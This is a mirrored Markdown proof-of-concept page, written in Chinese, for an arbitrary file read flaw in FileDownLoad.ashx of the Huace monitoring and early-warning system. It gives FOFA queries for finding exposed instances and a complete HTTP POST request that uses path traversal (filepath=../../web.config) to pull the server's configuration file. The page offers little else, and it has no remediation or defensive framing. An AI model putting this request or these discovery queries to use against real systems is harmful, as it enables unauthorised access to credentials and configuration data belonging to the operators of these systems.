mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-08 03:46:17 +00:00
30 lines
605 B
Markdown
30 lines
605 B
Markdown
# 华测监测预警系统FileDownLoad.ashx存在任意文件读取漏洞
|
||
|
||
华测监测预警系统FileDownLoad.ashx存在任意文件读取漏洞，通过读取配置文件获取重要数据。
|
||
|
||
## fofa
|
||
|
||
```jade
|
||
app="华测监测预警系统2.2"
|
||
```
|
||
|
||
```javascript
|
||
icon_hash="-628229493"
|
||
```
|
||
|
||
## poc
|
||
|
||
```javascript
|
||
POST /Handler/FileDownLoad.ashx HTTP/1.1
|
||
Host: ip:port
|
||
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
|
||
Accept-Encoding: gzip, deflate
|
||
Accept: */*
|
||
Connection: close
|
||
Content-Type: application/x-www-form-urlencoded
|
||
Content-Length: 40
|
||
|
||
filename=1&filepath=../../web.config
|
||
```
|
||
|